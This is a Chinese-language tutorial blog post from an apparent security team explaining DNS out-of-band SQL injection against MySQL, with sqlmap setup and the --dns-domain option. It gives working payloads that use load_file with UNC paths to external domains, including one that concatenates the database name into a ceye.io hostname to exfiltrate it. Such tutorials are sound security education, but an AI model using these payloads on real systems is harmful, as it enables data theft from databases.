dns注入

Gcow安全團隊發表於2020-01-31

1. 為什麼要使用DNS注入

盲注跑資料太慢的情況下,選擇DNS注入是一個好辦法。

2. DNS注入的原理

把域名dns指向我們的伺服器域名,這樣的話解析域名的時候就會向我們的dns伺服器查詢。透過遞迴查詢就可以獲取資料庫上的資訊了。要記住整個域名內的節點標籤被限制在63個字元長度大小。

3. DNS注入的要求

資料庫在配置中允許域名解析時

到我們資料庫中檢視一下:show variables like ‘skip_name_resolve’;

dns注入
 

skip_name_resolve這個引數是禁止域名解析

skip_name_resolve 為off時會進行域名解析

一旦開啟此引數,所有遠端主機連線資料庫授權都要使用IP地址的方式。

生產環境正常都是開啟的。

4. 實戰

首先我們伺服器上安裝sqlmap

發現伺服器已經有2.6的python環境了

dns注入
 

直接pip install sqlmap

dns注入
 

安裝成功。

接著

dns注入
 

找到sqlmap根目錄

cd /usr/lib/python2.6/site-packages/sqlmap/lib/request/

dns注入
 

dns.py

它的作用是監聽53埠,先給它一個執行許可權,+x

這裡我直接給他最大許可權了

chmod 777 dns.py

在mysql命令列執行 select load_file("\\\\xxx.zka7.xyz\\txf");

\\\\ 經過傳輸後會變成\\

txf是域名的下級目錄,可以隨便構造

執行後伺服器就會有資料包(xxx.zka7.xyz)出現

5. Sqlmap的自動化實現

在sqlmap中實現DNS注入加上引數

在伺服器安裝好了sqlmap然後執行dns.py

--dns-domain=域名

即可實現自動化。

6. 我不想買2個域名,我不想買伺服器,我也想玩一波DNS注入

有現成的服務:http://ceye.io

登陸之後

dns注入
 

有一個分配給你的二級域名

在資料庫中輸入

select load_file("\\\\tangxiaofeng.1odz7u.ceye.io\\aaa");

dns注入
 

可以看到tangxiaofeng這個帥氣的名字。

試一下拼接。

首先本地選擇一個表

use sqltest;

這裡的sqltest是我自己建的表

接著select load_file(concat("\\\\",(select database()),".1odz7u.ceye.io\\txf"));

dns注入
 

database出來了。


Gcow安全團隊公眾號:

dns注入
 

相關文章